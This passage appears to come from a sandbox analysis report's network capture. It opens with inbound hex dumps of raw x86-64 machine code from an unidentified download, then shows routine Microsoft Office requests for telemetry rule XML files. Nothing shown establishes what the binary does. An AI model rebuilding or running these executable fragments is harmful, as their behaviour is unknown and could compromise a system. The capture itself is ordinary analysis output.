2024-10-08 18:52:12 UTC	1369	IN	Data Raw: f1 84 00 00 eb 72 c7 44 24 20 01 00 00 00 4c 8d 4b 12 4c 8d 43 10 48 89 c1 e8 2d c8 03 00 48 89 03 48 85 c0 74 4a 4c 8b 44 24 38 c6 43 14 01 48 8d 4b 15 4c 89 e2 4c 89 43 08 e8 eb b1 04 00 48 8b 05 a4 6c 30 00 48 3b 98 60 05 00 00 75 15 48 8b 54 24 38 4c 89 a0 68 05 00 00 48 89 90 70 05 00 00 eb 08 4c 89 e1 e8 a6 b1 29 00 b0 01 eb 0a 4c 89 e1 e8 9a b1 29 00 31 c0 48 83 c4 40 5b 5e 41 5c c3 41 56 41 55 41 54 57 53 48 83 c4 80 31 c0 41 b9 40 00 00 00 48 89 cb 48 8d 7c 24 42 b9 3e 00 00 00 49 89 d5 f3 aa 48 89 5c 24 20 4c 8d 64 24 32 4d 89 c6 4c 89 e1 4c 8d 05 da 57 2a 00 ba 4e 00 00 00 48 c7 44 24 32 00 00 00 00 48 c7 44 24 3a 00 00 00 00 e8 0e fd ff ff 4c 89 e1 41 b8 0a 00 00 00 31 d2 e8 5e 40 00 00 49 89 c4 48 85 c0 75 28 e8 f1 83 00 00 83 f8 02 7e 3d 49 Data Ascii: rD$ LKLCH-HHtJLD$8CHKLLCHl0H;`uHT$8LhHpL)L)1H@[^A\AVAUATWSH1A@HH\|$B>IH\$ Ld$2MLLW*NHD$2HD$:LA1^@IHu(~=I
2024-10-08 18:52:12 UTC	1369	IN	Data Raw: 00 4c 89 4c 24 58 4c 8d 4c 24 58 4c 89 4c 24 28 e8 cc 1e 29 00 48 83 c4 38 c3 41 54 48 81 ec 90 00 00 00 41 b9 40 00 00 00 49 89 c8 41 89 d4 48 8d 4c 24 47 ba 49 00 00 00 4c 89 44 24 20 4c 8d 05 cc 54 2a 00 48 89 4c 24 38 e8 a2 ff ff ff 45 84 e4 48 8b 4c 24 38 74 27 41 b8 0b 00 00 00 31 d2 e8 8b 3b 00 00 49 89 c4 48 85 c0 74 22 41 b8 02 00 00 00 31 d2 48 89 c1 e8 33 ac 29 00 eb 10 41 b8 01 00 00 00 31 d2 e8 64 3b 00 00 49 89 c4 4c 89 e0 48 81 c4 90 00 00 00 41 5c c3 41 56 41 55 41 54 53 48 83 ec 28 49 89 d5 ba 01 00 00 00 4d 89 c6 e8 62 ff ff ff 49 89 c4 48 85 c0 75 1e e8 cc 7e 00 00 ff c8 7e 5c 48 8d 15 4e 54 2a 00 48 8d 0d 4e 54 2a 00 e8 c0 7e 00 00 eb 47 45 31 c0 31 d2 48 89 c1 e8 f6 1b 29 00 41 b8 02 00 00 00 31 d2 4c 89 e1 e8 e6 1b 29 00 4c 89 e1 e8 Data Ascii: LL$XLL$XLL$()H8ATHA@IAHL$GILD$ LTHL$8EHL$8t'A1;IHt"A1H3)A1d;ILHA\AVAUATSH(IMbIHu~~\HNTHNT*~GE11H)A1L)L
2024-10-08 18:52:12 UTC	1369	IN	Data Raw: 24 40 48 89 44 24 50 e8 7c 17 29 00 4c 89 e1 e8 c4 18 29 00 4c 8b 7c 24 50 48 89 c6 e9 5b fe ff ff 4c 89 e1 e8 97 a7 29 00 48 85 ff 74 08 48 8b 44 24 40 48 89 07 4c 89 e8 48 81 c4 98 00 00 00 5b 5e 5f 5d 41 5c 41 5d 41 5e 41 5f c3 41 56 41 55 41 54 53 48 83 ec 28 48 89 d3 ba 01 00 00 00 4d 89 c5 4d 89 ce e8 56 fa ff ff 49 89 c4 48 85 c0 75 1e e8 c0 79 00 00 ff c8 7e 72 48 8d 15 b5 51 2a 00 48 8d 0d b8 51 2a 00 e8 b4 79 00 00 eb 5d 45 31 c0 48 89 da 48 89 c1 e8 e9 16 29 00 85 c0 74 2c e8 90 79 00 00 ff c8 7e 16 49 89 d8 48 8d 15 4a 4f 2a 00 48 8d 0d ab 51 2a 00 e8 81 79 00 00 4c 89 e1 45 31 e4 e8 f3 a6 29 00 eb 1f 4d 89 e1 41 b8 01 00 00 00 4c 89 f2 4c 89 e9 e8 5d a6 29 00 4c 89 e1 41 b4 01 e8 d2 a6 29 00 44 89 e0 48 83 c4 28 5b 41 5c 41 5d 41 5e c3 41 54 Data Ascii: $@HD$P\|)L)L\|$PH[L)HtHD$@HLH[^_]A\A]A^A_AVAUATSH(HMMVIHuy~rHQHQy]E1HH)t,y~IHJOHQyLE1)MALL])LA)DH([A\A]A^AT
2024-10-08 18:52:12 UTC	1369	IN	Data Raw: 75 05 45 31 c0 31 d2 4c 89 e1 e8 6b 56 00 00 4c 89 e1 e8 22 55 00 00 b0 01 48 83 c4 20 41 5c c3 41 54 53 48 83 ec 28 45 31 e4 48 89 cb 48 89 d1 e8 b7 5b 00 00 48 85 c0 74 22 44 8a a0 a9 00 00 00 45 84 e4 74 16 0f b7 53 02 44 0f b6 40 60 45 31 c9 b9 25 00 00 00 e8 5e e6 00 00 44 89 e0 48 83 c4 28 5b 41 5c c3 41 54 57 56 53 48 83 ec 28 4d 63 e0 48 89 cb 44 89 44 24 60 48 89 d6 4c 89 e1 e8 29 a1 29 00 49 89 c1 48 85 c0 74 20 48 89 c7 4c 89 e1 0f b7 53 02 44 8b 44 24 60 f3 a4 b9 26 00 00 00 41 b4 01 e8 0e e6 00 00 eb 1f e8 2c 74 00 00 45 31 e4 ff c8 7e 13 48 8d 15 d2 4d 2a 00 48 8d 0d a9 4d 2a 00 e8 1d 74 00 00 44 89 e0 48 83 c4 28 5b 5e 5f 41 5c c3 90 90 90 90 90 41 57 41 56 41 55 41 54 55 57 56 53 48 83 ec 38 45 31 e4 83 bc 24 a0 00 00 00 00 89 d3 4d 89 c5 Data Ascii: uE11LkVL"UH A\ATSH(E1HH[Ht"DEtSD@`E1%^DH([A\ATWVSH(McHDD$`HL))IHt HLSDD$`&A,tE1~HMHMtDH([^_A\AWAVAUATUWVSH8E1$M
2024-10-08 18:52:12 UTC	1369	IN	Data Raw: 39 eb 32 e8 7e 6f 00 00 48 8d 15 97 49 2a 00 48 8d 0d af 4a 2a 00 83 f8 06 7e 1f eb 18 e8 64 6f 00 00 83 f8 06 7e 13 48 8d 15 78 49 2a 00 48 8d 0d b4 4a 2a 00 e8 57 6f 00 00 ba 98 04 00 00 b9 01 00 00 00 e8 e5 9c 29 00 49 89 c1 48 85 c0 75 23 e8 30 6f 00 00 ff c8 7e 3f 48 8d 15 45 49 2a 00 48 8d 0d a2 4a 2a 00 48 83 c4 20 5b 5e 5f e9 1d 6f 00 00 48 89 c7 48 89 de b9 26 01 00 00 0f b7 53 30 f3 a5 45 31 c0 b9 0e 00 00 00 48 83 c4 20 5b 5e 5f e9 d0 aa 03 00 48 83 c4 20 5b 5e 5f c3 41 55 41 54 57 53 48 83 ec 28 41 89 cc 41 89 d5 e8 d0 6e 00 00 83 f8 04 7e 19 45 89 e9 45 89 e0 48 8d 15 de 48 2a 00 48 8d 0d 97 4a 2a 00 e8 bd 6e 00 00 44 89 ea 44 89 e1 e8 64 fd ff ff 48 89 c3 48 85 c0 75 2a e8 9a 6e 00 00 ff c8 0f 8e 94 00 00 00 48 8d 15 ab 48 2a 00 48 8d 0d 90 Data Ascii: 92~oHIHJ~do~HxIHJWo)IHu#0o~?HEIHJH [^_oHH&S0E1H [^_H [^_AUATWSH(AAn~EEHHHJnDDdHHunHHH
2024-10-08 18:52:12 UTC	1369	IN	Data Raw: 48 83 c9 ff 48 89 d7 48 c7 85 40 04 00 00 00 00 00 00 f2 ae 48 f7 d1 4c 8d 4c 0a ff 4c 8b ad 40 04 00 00 41 8a 51 ff 49 8d 49 ff 49 8d 45 01 80 fa 5c 74 11 80 fa 2f 74 0c 48 89 85 40 04 00 00 49 89 c9 eb d7 48 89 85 40 04 00 00 49 83 c5 02 b9 01 00 00 00 4c 89 ea 4c 89 4c 24 28 e8 73 97 29 00 4c 8b 4c 24 28 48 85 c0 48 89 85 38 04 00 00 48 89 c1 75 20 48 8d 0d ba 47 2a 00 4d 89 e8 48 8d 15 c6 43 2a 00 e8 ac 69 00 00 b9 02 00 00 00 e8 27 97 29 00 4c 8d 05 c8 47 2a 00 4c 89 ea e8 28 f8 ff ff 48 c7 85 58 04 00 00 00 00 00 00 48 c7 85 78 04 00 00 00 00 00 00 48 c7 85 88 04 00 00 00 00 00 00 44 89 e0 48 81 c4 d0 08 00 00 5e 5f 5d 41 5c 41 5d c3 41 54 48 81 ec 20 04 00 00 4c 8d 64 24 20 4c 89 e2 e8 ac fc ff ff 84 c0 74 4e e8 36 69 00 00 83 f8 04 7e 16 4d 89 e0 Data Ascii: HHH@HLLL@AQIIIE\t/tH@IH@ILLL$(s)LL$(HH8Hu HGMHCi')LG*L(HXHxHDH^_]A\A]ATH Ld$ LtN6i~M
2024-10-08 18:52:12 UTC	1369	IN	Data Raw: ef 00 00 00 83 ff 02 0f 84 1c 01 00 00 85 ff 0f 85 70 01 00 00 e8 ba 64 00 00 83 f8 06 7e 19 41 89 f1 41 89 d8 48 8d 15 c8 3e 2a 00 48 8d 0d b5 44 2a 00 e8 a7 64 00 00 41 8b 44 24 30 83 f8 03 74 1c 77 07 83 f8 02 74 41 eb 1e 83 e8 04 83 f8 01 77 16 41 c7 44 24 30 01 00 00 00 eb 2c 41 c7 44 24 30 02 00 00 00 eb 21 e8 66 64 00 00 ff c8 7e 18 45 8b 44 24 30 48 8d 15 76 3e 2a 00 48 8d 0d 8b 44 2a 00 e8 55 64 00 00 ba 98 04 00 00 b9 01 00 00 00 e8 e3 91 29 00 49 89 c1 48 85 c0 75 29 e8 2e 64 00 00 ff c8 0f 8e d7 00 00 00 48 8d 15 3f 3e 2a 00 48 8d 0d 9c 3f 2a 00 48 83 c4 28 5b 5e 5f 41 5c e9 15 64 00 00 48 89 c7 4c 89 e6 b9 26 01 00 00 45 31 c0 f3 a5 b9 0e 00 00 00 41 0f b7 54 24 30 48 83 c4 28 5b 5e 5f 41 5c e9 c4 9f 03 00 e8 dc 63 00 00 83 f8 06 7e 19 41 89 Data Ascii: pd~AAH>HDdAD$0twtAwAD$0,AD$0!fd~ED$0Hv>HDUd)IHu).dH?>H?H([^_A\dHL&E1AT$0H([^_A\c~A

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.9	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:13 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 763e8d43-601e-000d-6912-172618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185213Z-1657d5bbd48tnj6wmberkg2xy800000005eg00000000k5kf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.9	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:13 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:13 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 01bf113a-f01e-003c-3703-178cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185213Z-1657d5bbd48t66tjar5xuq22r800000005bg00000000fevt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:13 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.9	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:13 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:13 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 7875ffac-201e-000c-7f02-1779c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185213Z-1657d5bbd48q6t9vvmrkd293mg00000005ag00000000n8b5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:13 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.9	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:13 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:13 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 137412bd-101e-008e-68ec-18cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185213Z-1657d5bbd48xlwdx82gahegw4000000005p0000000003qqg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:13 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.9	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:13 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:13 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3b7b7106-501e-0064-43e7-161f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185213Z-1657d5bbd48cpbzgkvtewk0wu000000005g000000000bez4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:13 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.9	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:14 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 2f576d96-401e-0047-3902-178597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185214Z-1657d5bbd48sdh4cyzadbb374800000005a000000000323c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.9	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:14 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 3c7823fd-401e-0015-0c60-170e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185214Z-1657d5bbd48sdh4cyzadbb374800000005ag000000000ugf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.9	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:14 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f5ee0945-901e-0083-4202-17bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185214Z-1657d5bbd48t66tjar5xuq22r8000000059g00000000ss2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 